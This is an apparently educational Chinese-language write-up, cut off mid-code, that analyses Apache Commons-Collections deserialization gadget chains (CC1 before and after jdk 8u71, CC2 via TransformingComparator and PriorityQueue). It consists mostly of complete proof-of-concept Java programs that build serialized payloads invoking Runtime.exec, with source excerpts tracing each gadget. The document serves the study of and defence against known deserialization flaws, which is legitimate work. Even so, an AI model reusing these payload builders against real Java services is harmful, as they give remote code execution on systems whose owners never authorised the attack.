Commons-Collections反序列化链合集
Commons-Collections利用链合集
前置知识
java反射
javassist
动态代理
JVM类加载机制
CC1
版本:cc3.1~3.2.1
jdk: < 8u71
环境搭建:
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
</dependencies>
对比官方在3.2.2版本https://github.com/apache/commons-collections/commit/1642b00d67b96de87cad44223efb9ab5b4fb7be5
默认情况下禁用“InvokerTransformer”的反序列化,因为可用于远程代码执行攻击。 要重新启用具有系统属性“org.apache.commons.collections.invokertransformer.enableDeserialization”需要设置为“true”
说明漏洞存在于InvokerTransformer
这个类
在这个类里面存在一个transform
方法
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
}
}
}
可以看到这里利用了java反射,可以利用反射调用任意类的任意方法,比如通过反射执行系统命令
//Runtime.class可序列化,Runtime⽆法序列化
Class c =Runtime.class;
Method getRuntime = c.getMethod("getRuntime", null);
Runtime r = (Runtime) getRuntime.invoke(null, null);
Method exec = c.getMethod("exec", String.class);
exec.invoke(r,"calc");
现在需要知道参数this.iMethodName
,this.iParamTypes
,this.iArgs
是如何传递的
这个类的构造方法如下:
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
这三个参数在构造方法中直接赋值,从赋值到反射,没有任何过滤或限制
可以将上面反射执行系统命令的代码修改为:
Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}).transform(Runtime.class);
Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimeMethod);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
然后就是找链子,直到找到readObject()
找一个调用了transform()的方法org.apache.commons.collections.functors.ChainedTransformer.class#transform()
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
按顺序调用 Transformer 数组 this.iTransformers 中所有 Transformer 对象的 transform 方法,并且每次调用的结果传递给下一个 Transformer#transform() 作为参数
利用它我们可以构造 Transformer 数组 通过 ChainedTransformer#transform() 的链式调用机制+java的反射机制在反序列化时构造出 Runtime 对象
这个类的构造函数:
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}
然后就可以构造下面代码执行命令了:
Transformer[] transformers = new Transformer[]{
new InvokerTransformer(
"forName",
new Class[] {String.class},
new Object[] {"java.lang.Runtime"}
),
new InvokerTransformer(
"getMethod",
new Class[] {String.class,Class[].class},
new Object[] {"getRuntime",new Class[0]}
),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer(
"exec",
new Class[] {String.class},
new String[]{"calc"}
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Class.class);
调用 transform() 方法是参数可控,因为链式调用的起点 为 class对象(Class.class),是我们传入 transform() 方法的参数。这样条件有些苛刻了,即使参数可控,参数类型也对不上。继续想办法减少条件。
找到org.apache.commons.collections.functors.ConstantTransformer
,看看它是如何实现transform的
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
public Object transform(Object input) {
return iConstant;
}
前边使用 ChainedTransformer#transform() 方法链式调用的起点是传入 transform() 方法的参数,也就是 class 对象(Class.class)。可以用 ConstantTransformer 包裹一个 class 对象,把它放到我们构造的 Transformer 数组的首位,作为链式调用的起点。
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Class.class),
new InvokerTransformer(
"forName",
new Class[] {String.class},
new Object[] {"java.lang.Runtime"}
),
new InvokerTransformer(
"getMethod",
new Class[] {String.class,Class[].class},
new Object[] {"getRuntime",new Class[0]}
),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer(
"exec",
new Class[] {String.class},
new String[]{"calc"}
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform('s');
< 8u71
找另外一个调用了transform()的方法,这里找到了org/apache/commons/collections/map/LazyMap.java
的get()方法
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
检查给定的键 key
是否已经存在于 map
中,通过调用 map.containsKey(key)
方法来判断。如果键不存在 (== false
),则进入if语句,调用transform()
其中key是方法参数,可控,然后就是factory,跟踪factory属性的赋值,查看构造函数
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}
但是这个类的构造函数是protected
类型,只有他自身或者继承他的类可以用,那就是decorate()
方法
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
所以接着上面简单构造一下又能执行命令了
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Class.class),
new InvokerTransformer(
"forName",
new Class[] {String.class},
new Object[] {"java.lang.Runtime"}
),
new InvokerTransformer(
"getMethod",
new Class[] {String.class,Class[].class},
new Object[] {"getRuntime",new Class[0]}
),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer(
"exec",
new Class[] {String.class},
new String[]{"calc"}
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform('s');
Map map = new HashMap<>();
Map lazymap = LazyMap.decorate(map,chainedTransformer);
lazymap.get('s');
下一步要找到一个调用get()方法的地方,最好能找到一个重写readObject的类并且在这个readObject里面调用了get的方法
然后找到了AnnotationInvocationHandler
这个类
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField var2 = var1.readFields();
Class var3 = (Class)var2.get("type", (Object)null);
Map var4 = (Map)var2.get("memberValues", (Object)null);
AnnotationType var5 = null;
try {
var5 = AnnotationType.getInstance(var3);
} catch (IllegalArgumentException var13) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map var6 = var5.memberTypes();
LinkedHashMap var7 = new LinkedHashMap();
String var10;
Object var11;
for(Iterator var8 = var4.entrySet().iterator(); var8.hasNext(); var7.put(var10, var11)) {
Map.Entry var9 = (Map.Entry)var8.next();
var10 = (String)var9.getKey();
var11 = null;
Class var12 = (Class)var6.get(var10);
if (var12 != null) {
var11 = var9.getValue();
if (!var12.isInstance(var11) && !(var11 instanceof ExceptionProxy)) {
var11 = (new AnnotationTypeMismatchExceptionProxy(var11.getClass() + "[" + var11 + "]")).setMember((Method)var5.members().get(var10));
}
}
}
AnnotationInvocationHandler.UnsafeAccessor.setType(this, var3);
AnnotationInvocationHandler.UnsafeAccessor.setMemberValues(this, var7);
}
AnnotationInvocationHandler 类的 readObject 方法中并没有直接调用到 Map 的 get 方法,但是在 AnnotationInvocationHandler#invoke() 方法调用了 get 方法,this.memberValues 可控。
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} else if (var5.length != 0) {
throw new AssertionError("Too many parameters for an annotation method");
} else {
switch (var4) {
case "toString":
return this.toStringImpl();
case "hashCode":
return this.hashCodeImpl();
case "annotationType":
return this.type;
default:
Object var6 = this.memberValues.get(var4);
if (var6 == null) {
throw new IncompleteAnnotationException(this.type, var4);
} else if (var6 instanceof ExceptionProxy) {
throw ((ExceptionProxy)var6).generateException();
} else {
if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
var6 = this.cloneArray(var6);
}
return var6;
}
}
}
}
这个类的构造方法如下:this.memberValues 可控,设置 this.memberValues 为我们构造的 LazyMap,但是这里存在一个if判断,第一个参数类型必须是注解
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
Class[] var3 = var1.getInterfaces();
if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
this.type = var1;
this.memberValues = var2;
} else {
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
}
}
下一步就要想如何调用这个invoke
方法
这部分涉及到 java 的动态代理。创建一个 AnnotationInvocationHandler 的代理类,当调用 AnnotationInvocationHandler 的代理类里的任意方法时都会先调用 AnnotationInvocationHandler#invoke() 方法,有点像php里的 _call() 只不过 _call() 在调用不存在的方法才触发
动态代理参考:https://www.liaoxuefeng.com/wiki/1252599548343744/1264804593397984
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Class.class),
new InvokerTransformer(
"forName",
new Class[] {String.class},
new Object[] {"java.lang.Runtime"}
),
new InvokerTransformer(
"getMethod",
new Class[] {String.class,Class[].class},
new Object[] {"getRuntime",new Class[0]}
),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer(
"exec",
new Class[] {String.class},
new String[]{"calc"}
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform('s');
Map map = new HashMap<>();
Map lazymap = LazyMap.decorate(map,chainedTransformer);
// lazymap.get('s');
//实例一个 AnnotationInvocationHandler 类
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);//获取指定参数类型的构造函数
construct.setAccessible(true);
//这里第一个参数必须是注释类型的
InvocationHandler handler = (InvocationHandler) construct.newInstance(Repeatable.class, lazymap);
// 创建 AnnotationInvocationHandler 的代理
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
//调用代理对象的任意方法
proxyMap.size();
这里可以调用任意方法触发,只要找到一个readObject有对我们的代理对象调用任意方法就行,按照ysoserial中的链子,后面使用的是AnnotationInvocationHandler的readObject方法
(这里懵逼了)这里需要再实例化一个AnnotationInvocationHandler 包裹的代理对象 proxyMap
handler = (InvocationHandler) construct.newInstance(Repeatable.class, proxyMap);
链子如下:
graph TB sun.reflect.annotation.AnnotationInvocationHandler#\nreadObject-->sun.reflect.annotation.AnnotationInvocationHandler#\ninvoke sun.reflect.annotation.AnnotationInvocationHandler#\ninvoke-->org.apache.commons.collections.map.LazyMap#\nget org.apache.commons.collections.map.LazyMap#\nget-->org.apache.commons.collections.functors.ChainedTransformer#\ntransform org.apache.commons.collections.functors.ChainedTransformer#\ntransform-->org.apache.commons.collections.functors.InvokerTransformer#\ntransform\n和\norg.apache.commons.collections.functors.ConstantTransformer#\ntransform org.apache.commons.collections.functors.InvokerTransformer#\ntransform\n和\norg.apache.commons.collections.functors.ConstantTransformer#\ntransform-->Runtime.getRuntime.exec
最后的POC
package TTT;
import java.io.*;
import java.lang.annotation.Repeatable;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
public class cc1 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Class.class),
new InvokerTransformer(
"forName",
new Class[] {String.class},
new Object[] {"java.lang.Runtime"}
),
new InvokerTransformer(
"getMethod",
new Class[] {String.class,Class[].class},
new Object[] {"getRuntime",new Class[0]}
),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer(
"exec",
new Class[] {String.class},
new String[]{"calc"}
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform('s');
Map map = new HashMap<>();
Map lazymap = LazyMap.decorate(map,chainedTransformer);
// lazymap.get('s');
//实例一个 AnnotationInvocationHandler 类
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);//获取指定参数类型的构造函数
construct.setAccessible(true);
//这里第一个参数必须是注释类型的
InvocationHandler handler = (InvocationHandler) construct.newInstance(Repeatable.class, lazymap);
// 创建 AnnotationInvocationHandler 的代理
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
//调用代理对象的任意方法
// proxyMap.size();
// 再实例化一个 AnnotationInvocationHandler 包裹的代理对象 proxyMap
handler = (InvocationHandler) construct.newInstance(Repeatable.class, proxyMap);
serialize(handler);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
> 8u71
在java 8u71以后,AnnotationInvocationHandler的readObject的逻辑变化了,利用不了,所以我们如果想要在高版本执行,必须要找一条新的链
调用get()方法之前的代码是一样的:
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Class.class),
new InvokerTransformer(
"forName",
new Class[] {String.class},
new Object[] {"java.lang.Runtime"}
),
new InvokerTransformer(
"getMethod",
new Class[] {String.class,Class[].class},
new Object[] {"getRuntime",new Class[0]}
),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer(
"exec",
new Class[] {String.class},
new String[]{"calc"}
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform('s');
Map map = new HashMap<>();
Map lazymap = LazyMap.decorate(map,chainedTransformer);
lazymap.get('s');
上面是使用了AnnotationInvocationHandler#invoke()
里面调用了get()
这条链使用的是org.apache.commons.collections.keyvalue.TiedMapEntry的getValue
public TiedMapEntry(Map map, Object key) {
super();
this.map = map;
this.key = key;
}
public Object getValue() {
return map.get(key);
}
下一步找调用了getValue()
的地方
就在这个类下就有:
public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}
修改poc:
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform('s');
Map map = new HashMap<>();
Map lazymap = LazyMap.decorate(map,chainedTransformer);
// lazymap.get('s');
TiedMapEntry tiedmapentry= new TiedMapEntry(lazymap,"abc");
tiedmapentry.hashCode();
如何调用hashCode()
在java.util.HashMap
, 可以构造hash(tiedmapentry)
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
但是hash方法不是public类型,只能内部调用
在内部找到readObject
,刚好可以结束链子
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
....
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
key的来源是map对象
链子如下:
graph TB java.util.HashMap#\nreadObject-->java.util.HashMap#\nhash java.util.HashMap#\nhash-->org.apache.commons.collections.keyvalue.TiedMapEntry#\nhashCode org.apache.commons.collections.keyvalue.TiedMapEntry#\nhashCode-->org.apache.commons.collections.keyvalue.TiedMapEntry#\ngetValue org.apache.commons.collections.keyvalue.TiedMapEntry#\ngetValue-->org.apache.commons.collections.map.LazyMap#\nget org.apache.commons.collections.map.LazyMap#\nget-->org.apache.commons.collections.functors.ChainedTransformer#\ntransform org.apache.commons.collections.functors.ChainedTransformer#\ntransform-->org.apache.commons.collections.functors.InvokerTransformer#\ntransform\n和\norg.apache.commons.collections.functors.ConstantTransformer#\ntransform org.apache.commons.collections.functors.InvokerTransformer#\ntransform\n和\norg.apache.commons.collections.functors.ConstantTransformer#\ntransform-->Runtime.getRuntime.exec
最后的POC
package TTT;
import java.io.*;
import java.lang.annotation.Repeatable;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import java.util.HashMap;
public class cc1 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Class.class),
new InvokerTransformer(
"forName",
new Class[] {String.class},
new Object[] {"java.lang.Runtime"}
),
new InvokerTransformer(
"getMethod",
new Class[] {String.class,Class[].class},
new Object[] {"getRuntime",new Class[0]}
),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer(
"exec",
new Class[] {String.class},
new String[]{"calc"}
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform('s');
Map map = new HashMap<>();
Map lazymap = LazyMap.decorate(map,chainedTransformer);
// lazymap.get('s');
TiedMapEntry tiedmapentry= new TiedMapEntry(lazymap,"abc");
// tiedmapentry.hashCode();
Map expMap=new HashMap();
expMap.put(tiedmapentry,"valuevalue");
serialize(expMap);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
CC2
版本:commons-collections4: 4.0
jdk:1.7或1.8低版本
环境搭建:
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
经过测试,上面CC1中的那两条链子还是存在的,但是需要修改一下,因为这个cc版本的LazyMap类变了,给构造函数传参的方式变了
只有修改LazyMap部分即可
修改后的poc:
<8u71
package org.example;
import org.apache.commons.collections4.*;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import org.apache.commons.collections4.map.LazyMap;
import java.io.*;
import java.lang.annotation.Repeatable;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class App
{
public static <K,V> void main(String[] args ) throws IOException, ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchMethodException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Class.class),
new InvokerTransformer(
"forName",
new Class[] {String.class},
new Object[] {"java.lang.Runtime"}
),
new InvokerTransformer(
"getMethod",
new Class[] {String.class,Class[].class},
new Object[] {"getRuntime",new Class[0]}
),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer(
"exec",
new Class[] {String.class},
new String[]{"calc"}
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform('s');
Map map = new HashMap();
LazyMap<K, V> lazymap = LazyMap.lazyMap(map, chainedTransformer);
// lazyMap.get('s');
//实例一个 AnnotationInvocationHandler 类
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);//获取指定参数类型的构造函数
construct.setAccessible(true);
//这里第一个参数必须是注释类型的
InvocationHandler handler = (InvocationHandler) construct.newInstance(Repeatable.class, lazymap);
// 创建 AnnotationInvocationHandler 的代理
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
//调用代理对象的任意方法
// proxyMap.size();
// 再实例化一个 AnnotationInvocationHandler 包裹的代理对象 proxyMap
handler = (InvocationHandler) construct.newInstance(Repeatable.class, proxyMap);
serialize(handler);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
8u71
package org.example;
import org.apache.commons.collections4.*;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import org.apache.commons.collections4.map.LazyMap;
import java.io.*;
import java.util.HashMap;
import java.util.Map;
public class App
{
public static <K,V> void main(String[] args ) throws IOException, ClassNotFoundException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Class.class),
new InvokerTransformer(
"forName",
new Class[] {String.class},
new Object[] {"java.lang.Runtime"}
),
new InvokerTransformer(
"getMethod",
new Class[] {String.class,Class[].class},
new Object[] {"getRuntime",new Class[0]}
),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer(
"exec",
new Class[] {String.class},
new String[]{"calc"}
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform('s');
Map map = new HashMap();
LazyMap<K, V> lazymap = LazyMap.lazyMap(map, chainedTransformer);
// lazyMap.get('s');
TiedMapEntry tiedmapentry= new TiedMapEntry(lazymap,"abc");
// tiedmapentry.hashCode();
Map expMap=new HashMap();
expMap.put(tiedmapentry,"valuevalue");
serialize(expMap);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
下面是全新的链子:
首先chainedTransformer
类获取Runtime.getRuntime.exec是和前面的一样的,这里就不再分析了
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Class.class),
new InvokerTransformer(
"forName",
new Class[] {String.class},
new Object[] {"java.lang.Runtime"}
),
new InvokerTransformer(
"getMethod",
new Class[] {String.class,Class[].class},
new Object[] {"getRuntime",new Class[0]}
),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer(
"exec",
new Class[] {String.class},
new String[]{"calc"}
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform('s');
TransformingComparator版本
下一步是找一个调用了transform
的方法
在org.apache.commons.collections4.comparators.TransformingComparator
这个类中
public int compare(final I obj1, final I obj2) {
final O value1 = this.transformer.transform(obj1);
final O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
this.transformer是由构造函数赋值:
public TransformingComparator(final Transformer<? super I, ? extends O> transformer,
final Comparator<O> decorated) {
this.decorated = decorated;
this.transformer = transformer;
}
目前构造的poc:因为compare中调用了两次transform
,所以会执行两次命令
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Class.class),
new InvokerTransformer(
"forName",
new Class[] {String.class},
new Object[] {"java.lang.Runtime"}
),
new InvokerTransformer(
"getMethod",
new Class[] {String.class,Class[].class},
new Object[] {"getRuntime",new Class[0]}
),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer(
"exec",
new Class[] {String.class},
new String[]{"calc"}
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform('s');
TransformingComparator transformingComparator= new TransformingComparator<>(chainedTransformer,null);
transformingComparator.compare("1","2");
下一步就是寻找哪里调用了compare方法,然后找到java.util.PriorityQueue
private void siftUpUsingComparator(int k, E x) {
while (k > 0) {
int parent = (k - 1) >>> 1;
Object e = queue[parent];
if (comparator.compare(x, (E) e) >= 0)
break;
queue[k] = e;
k = parent;
}
queue[k] = x;
}
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}
这里的两个方法的if语句中调用了compare
方法,但是这些方法是private
类型的,不能直接调用,找到这类中调用这个方法的方法
private void siftUp(int k, E x) {
if (comparator != null)
siftUpUsingComparator(k, x);
else
siftUpComparable(k, x);
}
private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}
这个comparator
属性不为空则调用siftUpUsingComparator
或siftDownUsingComparator
,但是这两个还是private
类型的,进行往上查找
找到offer()方法,需要i>=1才能调用siftUp(),这里的i是PriorityQueue队列长度,然后还找到了add()方法调用了offer()
public boolean offer(E e) {
if (e == null)
throw new NullPointerException();
modCount++;
int i = size;
if (i >= queue.length)
grow(i + 1);
size = i + 1;
if (i == 0)
queue[0] = e;
else
siftUp(i, e);
return true;
}
public boolean add(E e) {
return offer(e);
}
那么现在的思路是
add()->offer()->siftUp() -> siftUpComparable()
修改一下poc即可进行命令执行
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform('s');
TransformingComparator transformingComparator= new TransformingComparator<>(chainedTransformer,null);
// transformingComparator.compare("1","2");
PriorityQueue queue = new PriorityQueue(2,transformingComparator);
queue.add(1);
queue.add(2);
至于siftDown()方法,这里找到的是
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}
size >>> 1这里表示右移一位即相当于除二,所以size最小为2,即队列大小为二
继续往上找,找到了readObject
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();
// Read in (and discard) array length
s.readInt();
queue = new Object[size];
// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();
// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
}
找到这里就可以结束这条链子了
利用链如下:
graph TB A("java.util.PriorityQueue#\nreadObject()") --> B("java.util.PriorityQueue#\nheapify()") B("java.util.PriorityQueue#\nheapify()")--> C("java.util.PriorityQueue#\nsiftDown()") C("java.util.PriorityQueue#\nsiftDown()")-->D("java.util.PriorityQueue#\nsiftDownUsingComparator()") D("java.util.PriorityQueue#\nsiftDownUsingComparator()")-->E("org.apache.commons.collections4.comparators.TransformingComparator#\ncompare()") E("org.apache.commons.collections4.comparators.TransformingComparator#\ncompare()")-->F("org.apache.commons.collections4.functors.ChainedTransformer#\ntransform()") F("org.apache.commons.collections4.functors.ChainedTransformer#\ntransform()")-->G("org.apache.commons.collections4.functors.InvokerTransformer#\ntransform()\n和\norg.apache.commons.collections4.functors.ConstantTransformer#\ntransform()") G("org.apache.commons.collections4.functors.InvokerTransformer#\ntransform()\n和\norg.apache.commons.collections4.functors.ConstantTransformer#\ntransform()")-->H("Runtime.getRuntime.exec('calc')")
最终POC如下:
package org.example;
import org.apache.commons.collections4.*;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.*;
import java.util.PriorityQueue;
import org.apache.commons.collections4.comparators.TransformingComparator;
public class App
{
public static void main(String[] args ) throws IOException, ClassNotFoundException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Class.class),
new InvokerTransformer(
"forName",
new Class[] {String.class},
new Object[] {"java.lang.Runtime"}
),
new InvokerTransformer(
"getMethod",
new Class[] {String.class,Class[].class},
new Object[] {"getRuntime",new Class[0]}
),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer(
"exec",
new Class[] {String.class},
new String[]{"calc"}
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform('s');
TransformingComparator transformingComparator= new TransformingComparator<>(chainedTransformer,null);
// transformingComparator.compare("1","2");
PriorityQueue queue = new PriorityQueue(2,transformingComparator);
queue.add(1);
queue.add(2);
serialize(queue);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
TemplatesImpl版本
在这个版本中使用的是com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
这个类的defineTransletClasses()
方法
private void defineTransletClasses()
throws TransformerConfigurationException {
...
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
